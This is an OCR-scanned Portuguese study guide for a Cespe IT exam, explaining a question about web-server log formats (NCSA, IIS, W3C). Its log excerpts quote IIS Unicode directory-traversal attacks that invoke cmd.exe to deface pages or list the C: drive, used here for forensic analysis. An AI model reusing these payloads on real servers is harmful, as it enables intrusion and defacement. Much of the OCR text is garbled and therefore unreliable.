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Notas dos Professores

E fundamental & aprovacéo, terem pelo menos o dominio introdutorio
de cada assunto, a fim de que nao percam as questdoe s mais faceis.

E sabido, que o ideal € LERMOS TUDO sobre CADA matéri a. Porém a
escassez de tempo € uma constante em nossos estudos, portanto
acabamos tendo que conjugar selecao e abrangéncia.

No presente Material, cada QUESTAO esta posta na int egra, como na
prova, para que possam interarem-se no assunto e te  starem seus
conhecimentos.

Encorajamos todos a responderem sem prévia consulta em materiais
de estudo. ApOs as respostas certas ou erradas, vej am as
dissertativas sobre cada altenativa respectivamente e revisem cada
topico.

Esperamos que seja de muito proveito e ajuda para ¢ = hegarem em
seus OBJETIVOS e gue a estratégia citada os ajude!

Bons Estudos.
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O material...

Séao 30 (trinta) questdes de conhecimentos especific  0s cada
uma com 5 (cinco) itens.

As questdes estdo numeradas como na prova e cadai tem
da questédo precede com o respectivo cabecalho. Sem  pre
vira o cabecalho com o item para vocés tentarem reso  lver e
testar seus conhecimentos. Em seguida novamente a
referida questao/item com a conclusao da resposta

Como sempre, as provas que a Cespe aplica requerem um a
minusciosa atencao e concentracao na leitura.

Bons Estudos...
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Referéncias...

Livros consultados:

Fundamentos de Computadores Digitais 42 Ed. Thomas C Bartee.
Organizacéao Estruturada de Computadores A. S. Tanenb  aum, 52 Ed.
Sistemas Operacionais com Java — 7Ed

Sistemas Distribuidos Conceitos e Projetos 42 Ed

Manual de Administracédo do Sistema UNIX 3° Ed

Sistema de Banco de Dados — 4Ed. Elmasri Navathe

Java — Como Programar 62 Ed. Deitel

C Completo e Total 32 Ed.

Engenharia de Software — 62 Ed. Pressman

Criptografia e seguranca - O guia Oficial RSA

Criptografia e Seguranca de Redes. 42 Ed. William Sta lling
Comunicacéo de Dados e Redes de Computad. Behrouz A. Fo  rouzan
Redes de Computadores e Internet. Douglas E. Comer 22 Ed

Redes De Computadores Andrew Tanenbaum 42 Ed

Redes de Computador e a Internet - Uma abordagem top- down 32 Ed.
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Referéncias...

Sites Consultados

e Microsoft — www.microsoft.com/br

e Debian GNU/Linux www.debian.com

e FreeBSD — www.freebsd.org

e NetBSD — www.nethsd.org

e OpenBSD — www.openbsd.org
e W3C - www.w3c.br/
= Programacao de Sistemas: Prof.° Ivan Luiz Marques Ricarte

e http://www.dca.fee.unicamp.br/cursos/EA876/apostila /[HTML/nodel.html

= Boas praticas em Seguranca da Informacéo 22 Ed.
e http://portal2.tcu.gov.br/portal/pls/portal/docs/68 3820.PDF
e Objetos Distribuidos: Conceitos e Padrdes

e http://mtc-m0O5.sid.inpe.br/col/sid.inpe.br/deise/20 01/04.24.14.21/doc
/pdfs/Capitulo3.pdf
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Texto CE — QUESTOES DE 36 A 38

Os trechos abaixo foram retirados de um arquivo de log referente a

acessos a um servidor http.

22-) atacker6.nowhere.com - - [23/Jan/2001:04:35:55 - 0200] "GET
/ISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af ...%c0%af..%c0%af..%
c0%af/winnt/system32/s3.exe?/ct+echo+H4ck3d+by+Gund3  ROth+thanks+Gund3R1t
h+Grup+WebQu33R+>c:\inetpub\wwwroot\Default.ntm HTTP  /1.0" 404 461

23-) atacker6.nowhere.com - - [23/Jan/2001:04:37:34 - 0200] "GET
NISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af ...%c0%af..%c0%af..%
c0%af/winnt/s3.exe?/c+echo+H4ck3d+by+Gund3R0th+than  ks+Gund3R1th+Grup+We
bQu33R+>c:\inetpub\wwwroot\Default.htm HTTP/1.0" 502 215

24-) atacker6.nowhere.com - - [23/Jan/2001:04:40:09 - 0200] "GET
/ISADMPWD/..%c0%atf..%c0%af..%c0%af..%c0%af..%c0%af ...%c0%af..%c0%af..%
c0%af/winnt/s3.exe?/c+echo+H4ck3d+by+Gund3R0th+than  ks+Gund3R1th+Grup+We
bQu33R+>c:\inetpub\wwwroot\Default.htm HTTP/1.0" 50 2 215

25-) atacker6.nowhere.com - - [23/Jan/2001:04:40:30 - 0200] "GET
NISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af ...%c0%af..%c0%af..%
c0%af/winnt/s3.exe?/c+echo+H4ck3d+by+Gund3R0th+than  ks+Gund3R1th+Grup+We
bQu33R+>c:\inetpub\wwwroot\myweb.dll HTTP/1.0" 502 215
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/ QUESTAO 36 - Com base no texto CE, julgue os itens abaixo, referentes aos ataques ao \
servidor http mencionado nesse texto.

4) Os logs foram gerados pelo MS IIS.
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/ QUESTAO 36 - Com base no texto CE, julgue os itens abaixo, referentes aos ataques ao \
servidor http mencionado nesse texto.

9 4) Os logs foram gerados pelo MS 1IS.

Afirmativa errada. Para um melhor entendimento segu e descricdo de
alguns formatos mais usados.

Segundo a Microsoft, “Quando o log do IS esta ativado, o IIS usa o
Formato de Arquivo de Log Estendido W3C _ para criar logs das atividades
diarias no diretorio especificado para o site no Gere nciador do IIS.”

O Formato de Arquivo de Log Estendido W3C, seqgundo Andrey Rodrigues
de Freitas, € um formato ASCIl personalizavel com varios campo s
diferentes. Pode-se incluir campos importantes, ao mesmo tempo em que
limita o tamanho do log omitindo campos indesejaveis. Os campos sao
separados por espacos. O horario € registrado como U TC (Hora de
Greenwich). Para visualizar o formato W3C, temos um exemplo abaixo ,
gue mostra as linhas de um arquivo gerado com osre  spectivos campos.

Hora, Endereco IP do cliente, Método, Tronco URI, S tatus do HTTP e
Versao do HTTP.

#Software: Microsoft Internet Information Services 5. 0
#Version: 1.0

#Date: 2002-03-27 17:42:15

#Fields: time c-ip cs-method cs-uri-stem sc-status cs-version
17:42:15 172. 16.255.255 GET /default.asp 200 HTTP /1.0
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Podemos observar no exemplo do slide anterior que a entrada anterior
indica que no dia 27 de marco de 2002 as 17:42, UTC , um usuario com a
versdo 1.0 do HTTP e o endereco IP 172.16.255.255 e mitiu um comando
GET do HTTP para o arquivo Default.asp. A solicitacd o foi atendida sem
erro. O campo #Date: indica quando a primeira entra da do log foi feita;
essa entrada e feita quando o log € criado. O campo #Ve rsion: indica que
foi usado o formato de log do W3C.

Ja, o Formato do Arguivo de Log do Microsoft IIS € um formato ASCII fixo
(ndo personalizavel). Andrey Rodrigues de Freitas, ex plica que este
formato registra mais informac6es que o formato com um do NCSA( sera
descrito a seguir) .

O formato do Microsoft IIS inclui itens basicos com 0 0 endereco IP do
usuario, 0 nome do usuario, a data e o horario das  olicitacao, o codigo de

status do HTTP e o numero de bytes recebidos. Além disso, ele inclui itens

detalhados como o tempo decorrido, o0 niumero de byte S enviados, a acao
(por exemplo, um download efetuado por um comando GET ) e o arquivo de
destino. Os itens sao separados por virgulas, torna  ndo o formato mais facil

de ler que os outros formatos ASCII, que usam espa¢c 0SS como separadores
e o horario é registrado na hora local.

Temos abaixo um exemplo de um arquivo no formato do Microsoft IIS :

192.168.114.201, —, 03/27/2002, 7:55:20, W3SVC2, VENDAS1, 192.168.114. 201,
4502, 163, 3223, 200, 0, GET, DeptLogo.qgif
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No exemplo acima, as entradas sdo interpretadas nas
linha superior nas duas tabelas é da segunda instanc

aparece na coluna "Servico" como W3SVC. NO exemplo
duas tabelas devido as limitacbes de largura da pag ina.

do usuario usuario instancia | computador do servidor

192.168.114.201 | —  [103/27/2002 W3SVC(2 VENDASI

ia do site da Web (que

tabelas a seguir. A \

€ apresentado em

172.21.13.45

Tempo || Bytes Bytes Codigo Cadigo de Tipo de Destino da
gasto ||recebidos [ enviados|| de status status do solicitacio operacio
de servico | Windows 2000

Na primeira entrada indica que um usuario andénimo ¢

DeptLogo. gif

om o endereco IP

192.168.114.201 emitiu um comando GET do HTTP para
imagem DeptLogo.gif as 7:55 em 27 de marco de 2002, d
chamado VENDAS1 no endereco IP 172.21.13.45. A soli
bytes gastou um tempo de processamento de 4502 milis

0 arquivo de
e um servidor

citacdo HTTP de 163

egundos (4,5

segundos) para ser concluida e retornou, sem erro,
para o usuario anénimo. No arquivo de log, todos os
com uma virgula (,). Um hifen agird& como um marcador
houver valor valido para um determinado campo.

No arquivo de Log apresentado nesta prova encontra-se
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No Formato de Arguivo de Log Comum do NCSA,  que é um formato ASCII

fixo (n&o personalizavel), disponivel para sites da We b mas n&o para sites

FTP, registra informacdes basicas sobre solicitagdbe s de usuarios, como o

Nome do Host Remoto, Log Remoto do Usuario, o Nome de U suario, a
Data, o Horario, o Tipo de Solicitacdo, o Cdédigo de Status do HTTP e o
Numero de Bytes Recebidos pelo servidor. Os itens s  &o separados por
espacos; o horario é registrado na hora local.

Vejamos um exemplo retirado do proprio Log da prova: Log (10)

atacker4.nowhere.com - - [22/Jan/2001:21:19:27 -0200] "GET
[ISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af ...%c0%af..%c0
%af..%c0%af/winnt/system32/cmd.exe?/c+dir+c\ HTTP/1  .0" 200 607

Nome do host remoto atacker4.nowhere.com

Log Remoto do User Este valor € sempre um hifen, ou seja, vazio

Nome de usuario Vazio

Data 22/Jan/2001

Horario e desvio de GMT | 21:19:27-0200

Tipo de solicitagao "GET/ISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af...%c0%af..%c0%
af..%c0%af/winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0"

Cod Status deServico 200

Bytes enviados 607

No qyadro acima, os dois campos LOG REMOTO do USER e NOME do
USUARIO estao vazios, ou seja, no log analisado apa recem com hifen.
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No campo “Horario e desvio de GMT” O arquivo de log entrada foi criado
em 22 de janeiro de 2001 as 21:19:17 (21 horas, 39 minutos e 17 segundos)
com a diferenca entre a hora local e do GMT é de oit 0 horas.

No campo “Tipo de solicitacao” O cliente (invasor) emite um comando
GET para obter uma listagem do diretério raiz using HTTP version 1.0.

No campo “Cddigo de status de servico” A solicitacao retornou, com
sucesso (200).

Portanto o formato usado nos LOGs desta prova foram n o formato NCSA e
nao MS-IIS.

No proximo slide hd uma tabela que ajudara muito a ni  vel de estudos e
conhecimento da matéria.

Fontes:
- Computacao Forense — 22 Ed. 2003 — Editora Millenium
Marcelo Antonio Sampaio Lemos Costa
- Pericia Forense Aplicada em Ambiente Windows
Andrey Rodrigues de Freitas
- Microsof Corporation - Analyzing Log Files
- http://Iwww.microsoft.com/technet/prodtechnol/Window sServer2003/

Libra ry/lIS/be22e074-72f8-46da-bb7e-e27877c85bca.ms px?mfr=true
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Formato de log do Microsoft

IS

Por tamanho do arquivo

metsvinn.log

Por hora inyymmddhh.log
Diariamente inyymmdd.log
Semanalmente inyymmww.log
Mensalmente iyymm.log

Formato de log comum do

NCSA

Por tamanho do arquivo

ncsann.log

Por hora ncyymmddhh.log
Diariamente ncyymmdd.log
Semanalmente ncyymmww.log
Mensalmente ncyymm.log

Formato log estendido W3C

Por tamanho do arquivo

extendnn.log

Por hora exyymmddhh.loh
Diariamente exyymmdd.log
Semanalmente exyymmww.log
Mensalmente exyymm.log
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